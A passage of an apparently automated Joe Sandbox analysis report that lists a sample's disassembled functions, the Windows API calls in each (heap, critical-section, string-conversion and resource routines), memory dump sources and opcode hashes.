                                                                                  • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,-00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,0040D0B8,00000000), ref: 004121D4
                                                                                  • malloc.MSVCRT ref: 004121E4
                                                                                  • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,-00000001,00000000,00000000,00000000,00000000,00000000), ref: 00412201
                                                                                  • malloc.MSVCRT ref: 00412216
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID: ByteCharMultiWidemalloc
                                                                                  • String ID:
                                                                                  • API String ID: 2735977093-0
                                                                                  • Opcode ID: 00a490c9ef2dc5a478e4fad7c5361c88d21327c35d3ed7742fb63e43f6d77948
                                                                                  • Instruction ID: ba92e613a2f9bf0a88025da3432e472bc54701246ba04d0c993b0b67be8a7a27
                                                                                  • Opcode Fuzzy Hash: 00a490c9ef2dc5a478e4fad7c5361c88d21327c35d3ed7742fb63e43f6d77948
                                                                                  • Instruction Fuzzy Hash: 9401F57B38130137E3205695AC42FBB7B59CB81B95F1900BAFB05AE2C1D6F76814C6B9
                                                                                  Function 00405436 Relevance: 6.0, APIs: 4, Instructions: 34threadCOMMON
                                                                                  Download Yara Rule
                                                                                  APIs
                                                                                    • Part of subcall function 004053EA: EnterCriticalSection.KERNEL32(004186A8,?,?,-0000012C,004053D0,00000000,00401FC5,00000000,-0000012C,004023BA,00000000,?,00000000,00000001,00000000,00000000), ref: 004053F5
                                                                                    • Part of subcall function 004053EA: LeaveCriticalSection.KERNEL32(004186A8,?,?,-0000012C,004053D0,00000000,00401FC5,00000000,-0000012C,004023BA,00000000,?,00000000,00000001,00000000,00000000), ref: 00405428
                                                                                  • TerminateThread.KERNEL32(00000000,00000000,00000000,?,?,-0000012C,00401FD4,00000000,-0000012C,004023BA,00000000,?,00000000,00000001,00000000,00000000), ref: 00405446
                                                                                  • EnterCriticalSection.KERNEL32(004186A8,?,?,-0000012C,00401FD4,00000000,-0000012C,004023BA,00000000,?,00000000,00000001,00000000,00000000,00000000,00000002), ref: 00405452
                                                                                  • CloseHandle.KERNEL32(-00000008,?,?,-0000012C,00401FD4,00000000,-0000012C,004023BA,00000000,?,00000000,00000001,00000000,00000000,00000000,00000002), ref: 00405472
                                                                                    • Part of subcall function 0040DB32: HeapFree.KERNEL32(00000000,-00000008,0040D44B,00000010,00000800,?,00000000,?,?,00000000,004033A4,00000000,00000000,00000000,00000000,?), ref: 0040DB6B
                                                                                  • LeaveCriticalSection.KERNEL32(004186A8,?,?,-0000012C,00401FD4,00000000,-0000012C,004023BA,00000000,?,00000000,00000001,00000000,00000000,00000000,00000002), ref: 00405486
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID: CriticalSection$EnterLeave$CloseFreeHandleHeapTerminateThread
                                                                                  • String ID:
                                                                                  • API String ID: 85618057-0
                                                                                  • Opcode ID: a2b12058037983e8feb28cac182eb15ba2e3b37f6182c0419abf98dc8b579576
                                                                                  • Instruction ID: 3069acd899a723a1849542c16efb52ddeba99d38bb4cb8d15d413c759c742d3e
                                                                                  • Opcode Fuzzy Hash: a2b12058037983e8feb28cac182eb15ba2e3b37f6182c0419abf98dc8b579576
                                                                                  • Instruction Fuzzy Hash: CDF05432905610AFC2205F619C48AE77B79EF54767715843FF94573190D73868408E6E
                                                                                  Function 00403001 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 193COMMON
                                                                                  Download Yara Rule
                                                                                  APIs
                                                                                    • Part of subcall function 0040DFC0: TlsGetValue.KERNEL32(0000000D,?,00402F4D,00000000,00000000,00000000,00000000,?,0040117C,00000000,00000000,00000004,00000000,00417070,00000008,0000000C), ref: 0040DFD7
                                                                                    • Part of subcall function 0040DE80: GetLastError.KERNEL32(00001000,00000000,00000000), ref: 0040DE86
                                                                                    • Part of subcall function 0040DE80: TlsGetValue.KERNEL32(0000000D), ref: 0040DE95
                                                                                    • Part of subcall function 0040DE80: SetLastError.KERNEL32(?), ref: 0040DEAB
                                                                                    • Part of subcall function 00405182: TlsGetValue.KERNEL32(00000000,00402FDE,00000000,00000008,00000001,00000000,00000000,00000000,00000000,00000000,?,00000200,00000000,00000000,00000000,00000000), ref: 00405189
                                                                                    • Part of subcall function 00405EB0: CharUpperW.USER32(00000000,00000000,FFFFFFF5,00001000,00001000,?,?,00001000,00402FE6,00000000,00000008,00000001,00000000,00000000,00000000,00000000), ref: 00405F01
                                                                                    • Part of subcall function 0040DEC0: TlsGetValue.KERNEL32(0000000D,00000000,00000000), ref: 0040DECC
                                                                                    • Part of subcall function 0040DEC0: RtlAllocateHeap.NTDLL(00940000,00000000,?), ref: 0040DEF9
                                                                                    • Part of subcall function 0040DEC0: RtlReAllocateHeap.NTDLL(00940000,00000000,?,?), ref: 0040DF1C
                                                                                    • Part of subcall function 00402E9D: FindResourceW.KERNEL32(00000000,0000000A,00000000,00000000,00000000,00000000,00000000,00000000,0040439A,00000000,00000000,00000000,00000001,00000000,00000000,00000000), ref: 00402EC5
                                                                                    • Part of subcall function 00402E9D: __fprintf_l.LIBCMT ref: 00402F1F
                                                                                    • Part of subcall function 00409355: CoInitialize.OLE32(00000000), ref: 00409373
                                                                                    • Part of subcall function 00409355: memset.MSVCRT ref: 00409381
                                                                                    • Part of subcall function 00409355: LoadLibraryW.KERNEL32(SHELL32.DLL,?,?,0000000A), ref: 0040938E
                                                                                    • Part of subcall function 00409355: GetProcAddress.KERNEL32(00000000,SHBrowseForFolderW), ref: 004093B0
                                                                                    • Part of subcall function 00409355: GetProcAddress.KERNEL32(00000000,SHGetPathFromIDListW), ref: 004093BC
                                                                                    • Part of subcall function 00409355: wcsncpy.MSVCRT ref: 004093DD
                                                                                    • Part of subcall function 00409355: wcslen.MSVCRT ref: 004093F1
                                                                                    • Part of subcall function 00409355: CoTaskMemFree.OLE32(?), ref: 0040947A
                                                                                    • Part of subcall function 00409355: wcslen.MSVCRT ref: 00409481
                                                                                    • Part of subcall function 00409355: FreeLibrary.KERNEL32(00000000,00000000), ref: 004094A0
                                                                                    • Part of subcall function 00403CD7: FindResourceW.KERNEL32(00000000,0000000A,00000000,00000000,00000000,00000000,00000000,-00000004,00403A61,00000000,00000001,00000000,00000000,00000001,00000003,00000000), ref: 00403D07
                                                                                  • PathAddBackslashW.SHLWAPI(00000000,00000200,FFFFFFF5,00000000,00000000,00000000,00000200,00000000,00000000,FFFFFFF5,00000003,00000000,00000000,00000000,00000000,00000000), ref: 004031CC
                                                                                    • Part of subcall function 0040E020: wcslen.MSVCRT ref: 0040E037
                                                                                  • PathRemoveBackslashW.SHLWAPI(00000000,00000000,00000000,00947DA0,00000000,00000000,00000200,00000000,00000000,00000200,FFFFFFF5,00000000,00000000,00000000,00000200,00000000), ref: 00403231
                                                                                    • Part of subcall function 00402CA9: FindResourceW.KERNEL32(?,0000000A,?,00000000,00000001,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00402D44
                                                                                  Strings
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID: Value$FindResourcewcslen$AddressAllocateBackslashErrorFreeHeapLastLibraryPathProc$CharInitializeLoadRemoveTaskUpper__fprintf_lmemsetwcsncpy
                                                                                  • String ID: $pA
                                                                                  • API String ID: 790731606-4007739358
                                                                                  • Opcode ID: fafddd55d836537589261c709968970c6775ae1a276d84be64f2893e19f462a9
                                                                                  • Instruction ID: fee6f31afef46dfc3d4b18dc130868db542cea1a9d30875f0fa626089c73850b
                                                                                  • Opcode Fuzzy Hash: fafddd55d836537589261c709968970c6775ae1a276d84be64f2893e19f462a9
                                                                                  • Instruction Fuzzy Hash: E151F6B5904A007EE2007BF2DD82E3F266EDFD4719B10893FF844B9092C93C994DA66D
                                                                                  Function 004024F1 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 148COMMON
                                                                                  Download Yara Rule
                                                                                  APIs
                                                                                  • GetCommandLineW.KERNEL32(00000000,00000000,?,00000000,00000000), ref: 004025A3
                                                                                  • PathRemoveArgsW.SHLWAPI(?), ref: 004025D9
                                                                                    • Part of subcall function 00405182: TlsGetValue.KERNEL32(00000000,00402FDE,00000000,00000008,00000001,00000000,00000000,00000000,00000000,00000000,?,00000200,00000000,00000000,00000000,00000000), ref: 00405189
                                                                                    • Part of subcall function 0040DEC0: TlsGetValue.KERNEL32(0000000D,00000000,00000000), ref: 0040DECC
                                                                                    • Part of subcall function 0040DEC0: RtlAllocateHeap.NTDLL(00940000,00000000,?), ref: 0040DEF9
                                                                                    • Part of subcall function 004098C0: SetEnvironmentVariableW.KERNEL32(00948F58,00948F58,00404434,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 004098D9
                                                                                    • Part of subcall function 0040DE80: GetLastError.KERNEL32(00001000,00000000,00000000), ref: 0040DE86
                                                                                    • Part of subcall function 0040DE80: TlsGetValue.KERNEL32(0000000D), ref: 0040DE95
                                                                                    • Part of subcall function 0040DE80: SetLastError.KERNEL32(?), ref: 0040DEAB
                                                                                    • Part of subcall function 0040E020: wcslen.MSVCRT ref: 0040E037
                                                                                    • Part of subcall function 00405170: TlsGetValue.KERNEL32(?,?,00402FED,00000000,00000008,00000001,00000000,00000000,00000000,00000000,00000000,?,00000200,00000000,00000000,00000000), ref: 00405178
                                                                                    • Part of subcall function 0040DF50: HeapFree.KERNEL32(00940000,00000000,00000000,?,00000000,?,00411DE4,00000000,00000000,-00000008), ref: 0040DF68
                                                                                  Strings
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID: Value$ErrorHeapLast$AllocateArgsCommandEnvironmentFreeLinePathRemoveVariablewcslen
                                                                                  • String ID: *pA
                                                                                  • API String ID: 1199808876-3833533140
                                                                                  • Opcode ID: d71b0a94e292aaa5df852a5f67a936174220f907fb1fd7f815eb7f58dc0b4ad1
                                                                                  • Instruction ID: 21a80edfc212e2aa9d277187ee9bfa0e7f9d15baa35618845dd156f20ee28a4c
                                                                                  • Opcode Fuzzy Hash: d71b0a94e292aaa5df852a5f67a936174220f907fb1fd7f815eb7f58dc0b4ad1
                                                                                  • Instruction Fuzzy Hash: 6C412DB5904701AED600BBB2DD8293F77ADEBD4309F108D3FF544A9092CA3CD849966E
                                                                                  Function 0040973A Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 115COMMON
                                                                                  Download Yara Rule
                                                                                  APIs
                                                                                    • Part of subcall function 0040D2E8: TlsGetValue.KERNEL32(?,00409869,00401DAB,FFFFFFF5,00000200,0000000A,00000000,00000000,FFFFFFF5,00000015,00000001,00000000,00000000,00000000,00000000,00000200), ref: 0040D2EF
                                                                                    • Part of subcall function 0040D2E8: HeapAlloc.KERNEL32(00000008,?,?,00409869,00401DAB,FFFFFFF5,00000200,0000000A,00000000,00000000,FFFFFFF5,00000015,00000001,00000000,00000000,00000000), ref: 0040D30A
                                                                                    • Part of subcall function 0040D2E8: TlsSetValue.KERNEL32(00000000,?,?,00409869,00401DAB,FFFFFFF5,00000200,0000000A,00000000,00000000,FFFFFFF5,00000015,00000001,00000000,00000000,00000000), ref: 0040D319
                                                                                  • GetCommandLineW.KERNEL32(?,?,?,00000000,?,?,00409870,00000000,00401DAB,FFFFFFF5,00000200,0000000A,00000000,00000000,FFFFFFF5,00000015), ref: 00409754
                                                                                  Strings
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID: Value$AllocCommandHeapLine
                                                                                  • String ID: $"
                                                                                  • API String ID: 1339485270-3817095088
                                                                                  • Opcode ID: 23df4b233d713070fc482b77f76cf6363686a3a5707749b1e186b32a761d8b54
                                                                                  • Instruction ID: ab659b79707db7d7869a667e669445cd4c695224699636d93eb587c6e0e94742
                                                                                  • Opcode Fuzzy Hash: 23df4b233d713070fc482b77f76cf6363686a3a5707749b1e186b32a761d8b54
                                                                                  • Instruction Fuzzy Hash: 4A31A7735252218ADB74AF10981127772A1EFA2B60F18C17FE4926B3D2F37D8D41D369
                                                                                  Function 00409FB8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 61COMMON
                                                                                  Download Yara Rule
                                                                                  APIs
                                                                                  Strings
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID: _wcsicmpwcscmp
                                                                                  • String ID: $0A
                                                                                  • API String ID: 3419221977-513306843
                                                                                  • Opcode ID: e4c63d424049f42e7b73257686f90aee44a2e069d1a72a0e60c522d0a3ac157e
                                                                                  • Instruction ID: ce5e94a217663c04e8d70dd0a479d34a80eb67d33ce446282a7f9ad79867738e
                                                                                  • Opcode Fuzzy Hash: e4c63d424049f42e7b73257686f90aee44a2e069d1a72a0e60c522d0a3ac157e
                                                                                  • Instruction Fuzzy Hash: 2E11C476108B0A8FD3209F46D440923B3E9EF94364720843FD849A3791DB75FC218B6A
                                                                                  Function 00405700 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON
                                                                                  Download Yara Rule
                                                                                  APIs
                                                                                  • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000,?,?,?,00401207), ref: 00405722
                                                                                  • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000,00000000,?,?,?,00401207), ref: 00405746
                                                                                  Strings
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID: ByteCharMultiWide
                                                                                  • String ID: $0A
                                                                                  • API String ID: 626452242-513306843
                                                                                  • Opcode ID: 6ebf4601a22723825f5cb97cb36f297afbf3d96316567957ce430f2db9d3b6d5
                                                                                  • Instruction ID: 257aa3cf1744ec2ccb71e28fb2e26357a5123011e6015fa77bf79efc500ed16d
                                                                                  • Opcode Fuzzy Hash: 6ebf4601a22723825f5cb97cb36f297afbf3d96316567957ce430f2db9d3b6d5
                                                                                  • Instruction Fuzzy Hash: 16F0393A3862213BE230215A6C0AF672A69CB86F71F2542327B24BF2D085B5680046AC
                                                                                  Function 0040D57F Relevance: 5.1, APIs: 4, Instructions: 134memoryCOMMON
                                                                                  Download Yara Rule
                                                                                  APIs
                                                                                  • EnterCriticalSection.KERNEL32(?,?,?,00000000,0040A0A4,00000000,00000001,?,?,?,00000000,00409ECC,?,?,00000000,?), ref: 0040D593
                                                                                  • HeapAlloc.KERNEL32(00000000,-00000018,00000001,?,?,00000000,0040A0A4,00000000,00000001,?,?,?,00000000,00409ECC,?,?), ref: 0040D648
                                                                                  • HeapAlloc.KERNEL32(00000000,-00000018,?,?,00000000,0040A0A4,00000000,00000001,?,?,?,00000000,00409ECC,?,?,00000000), ref: 0040D66B
                                                                                  • LeaveCriticalSection.KERNEL32(?,?,00000000,0040A0A4,00000000,00000001,?,?,?,00000000,00409ECC,?,?,00000000,?,?), ref: 0040D6C3
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID: AllocCriticalHeapSection$EnterLeave
                                                                                  • String ID:
                                                                                  • API String ID: 830345296-0
                                                                                  • Opcode ID: 223ceb5fedc6bf78071f8d1d71221cc314eeccb9612ab2cf4b16bda0937aed7a
                                                                                  • Instruction ID: 88038414d57a756cd7fad5c0050c74a6e8d04d69e7cdc083c9acd98434601a7e
                                                                                  • Opcode Fuzzy Hash: 223ceb5fedc6bf78071f8d1d71221cc314eeccb9612ab2cf4b16bda0937aed7a
                                                                                  • Instruction Fuzzy Hash: 9C51E370A00B069FC324CF69D980926B7F5FF587103148A3EE89A97B90D335F959CB94
                                                                                  Function 0040E130 Relevance: 5.1, APIs: 4, Instructions: 62memoryCOMMON
                                                                                  Download Yara Rule
                                                                                  APIs
                                                                                  • wcslen.MSVCRT ref: 0040E145
                                                                                  • HeapAlloc.KERNEL32(00940000,00000000,0000000A), ref: 0040E169
                                                                                  • HeapReAlloc.KERNEL32(00940000,00000000,00000000,0000000A), ref: 0040E18D
                                                                                  • HeapFree.KERNEL32(00940000,00000000,00000000,?,?,0040506F,?,0041702E,00401095,00000000), ref: 0040E1C4
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID: Heap$Alloc$Freewcslen
                                                                                  • String ID:
                                                                                  • API String ID: 2479713791-0
                                                                                  • Opcode ID: 360229d15a1fb6af201326cedd8d5f72cb5848c1c9ec4e5b388a4d503be7f4ab
                                                                                  • Instruction ID: 6002b1c3f5819bc59b30070f24097f674b8c445c60846b79d2129d941eb5fd7b
                                                                                  • Opcode Fuzzy Hash: 360229d15a1fb6af201326cedd8d5f72cb5848c1c9ec4e5b388a4d503be7f4ab
                                                                                  • Instruction Fuzzy Hash: BA21F774604209EFDB14CF94D884FAAB7BAEB48354F108569F9099F390D735EA81CF94
                                                                                  Function 0040D498 Relevance: 5.1, APIs: 4, Instructions: 56memoryCOMMON
                                                                                  Download Yara Rule
                                                                                  APIs
                                                                                  • EnterCriticalSection.KERNEL32(00000020,00000000,?,00000000,0040ADD5,00000000,?,?,00000000,004033A4,00000000,00000000,00000000,00000000,?,00000000), ref: 0040D4A3
                                                                                  • HeapReAlloc.KERNEL32(00000008,?,?,?,00000000,0040ADD5,00000000,?,?,00000000,004033A4,00000000,00000000,00000000,00000000,?), ref: 0040D4E3
                                                                                  • LeaveCriticalSection.KERNEL32(00000020,?,00000000,0040ADD5,00000000,?,?,00000000,004033A4,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 0040D51E
                                                                                    • Part of subcall function 0040DB72: HeapAlloc.KERNEL32(00000008,00000000,0040D3EC,00418610,00000014,?,?,?,?,00409674,00000010,00000000,00000000,00401071,00000000,00001000), ref: 0040DB7E
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID: AllocCriticalHeapSection$EnterLeave
                                                                                  • String ID:
                                                                                  • API String ID: 830345296-0
                                                                                  • Opcode ID: 762af24c506bf6e2b9559650e0095779b3b7acce71c4fd081469871384e8466f
                                                                                  • Instruction ID: 44ceb6562d1eb3065d03cece85d0244f92a2e0345c3169311120ea74ede9abb0
                                                                                  • Opcode Fuzzy Hash: 762af24c506bf6e2b9559650e0095779b3b7acce71c4fd081469871384e8466f
                                                                                  • Instruction Fuzzy Hash: 0A113D72604600AFC3208FA8DC40E56B7F9FB48325B14892EE896E36A1C734F804CF65
                                                                                  Function 0040D6DD Relevance: 5.0, APIs: 4, Instructions: 44memoryCOMMON
                                                                                  Download Yara Rule
                                                                                  APIs
                                                                                  • EnterCriticalSection.KERNEL32(00000020,?,00000000,00000200,0040D9BE,00000000,00000000,?,00409EE8,?,00000000,00000200,?,?,00409DEF,00000200), ref: 0040D6EF
                                                                                  • HeapFree.KERNEL32(00000000,?,?,00000000,00000200,0040D9BE,00000000,00000000,?,00409EE8,?,00000000,00000200,?,?,00409DEF), ref: 0040D706
                                                                                  • HeapFree.KERNEL32(00000000,?,?,00000000,00000200,0040D9BE,00000000,00000000,?,00409EE8,?,00000000,00000200,?,?,00409DEF), ref: 0040D722
                                                                                  • LeaveCriticalSection.KERNEL32(00000020,?,00000000,00000200,0040D9BE,00000000,00000000,?,00409EE8,?,00000000,00000200,?,?,00409DEF,00000200), ref: 0040D73F
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
                                                                                  • API ID: CriticalFreeHeapSection$EnterLeave
                                                                                  • String ID:
                                                                                  • API String ID: 1298188129-0
                                                                                  • Opcode ID: 9025b1c5150b3b55cbdbde059a5d8489335d355e00ab4da0a2b3a5ee45c47fee
                                                                                  • Instruction ID: 19831624efecdb95f34469d84cf285095463f1f7ead1137181efdd2e3cba2855
                                                                                  • Opcode Fuzzy Hash: 9025b1c5150b3b55cbdbde059a5d8489335d355e00ab4da0a2b3a5ee45c47fee
                                                                                  • Instruction Fuzzy Hash: CB012879A0161AAFC7208F96ED04967BB7CFB49751305853AA844A7A60C734E824DFE8
                                                                                  Function 00409ECF Relevance: 5.0, APIs: 4, Instructions: 43memoryCOMMON
                                                                                  Download Yara Rule
                                                                                  APIs
                                                                                    • Part of subcall function 0040A11A: memset.MSVCRT ref: 0040A182
                                                                                    • Part of subcall function 0040D946: EnterCriticalSection.KERNEL32(00418624,00000200,00000000,?,00409EE8,?,00000000,00000200,?,?,00409DEF,00000200,?,?,?,004010C3), ref: 0040D95A
                                                                                    • Part of subcall function 0040D946: HeapFree.KERNEL32(00000000,?,?,00409EE8,?,00000000,00000200,?,?,00409DEF,00000200,?,?,?,004010C3,00000004), ref: 0040D9A8
                                                                                    • Part of subcall function 0040D946: LeaveCriticalSection.KERNEL32(00418624,?,00409EE8,?,00000000,00000200,?,?,00409DEF,00000200,?,?,?,004010C3,00000004,00000015), ref: 0040D9AF
                                                                                  • HeapFree.KERNEL32(00000000,?,?,00000000,00000200,?,?,00409DEF,00000200,?,?,?,004010C3,00000004,00000015,00000000), ref: 00409EFA
                                                                                  • HeapFree.KERNEL32(00000000,?,?,?,00409DEF,00000200,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200,FFFFFFF5), ref: 00409F06
                                                                                  • HeapFree.KERNEL32(00000000,?,?,?,?,00409DEF,00000200,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200), ref: 00409F1A
                                                                                  • HeapFree.KERNEL32(00000000,00000000,?,?,00409DEF,00000200,?,?,?,004010C3,00000004,00000015,00000000,00000200,00000200,FFFFFFF5), ref: 00409F30
                                                                                  Memory Dump Source
                                                                                  • Source File: 00000000.00000002.4150198584.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                  • Associated: 00000000.00000002.4150182753.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150219093.0000000000413000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150236312.0000000000417000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                  • Associated: 00000000.00000002.4150252382.0000000000419000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                  Joe Sandbox IDA Plugin
                                                                                  • Snapshot File: hcaresult_0_2_400000_tg.jbxd
                                                                                  Similarity
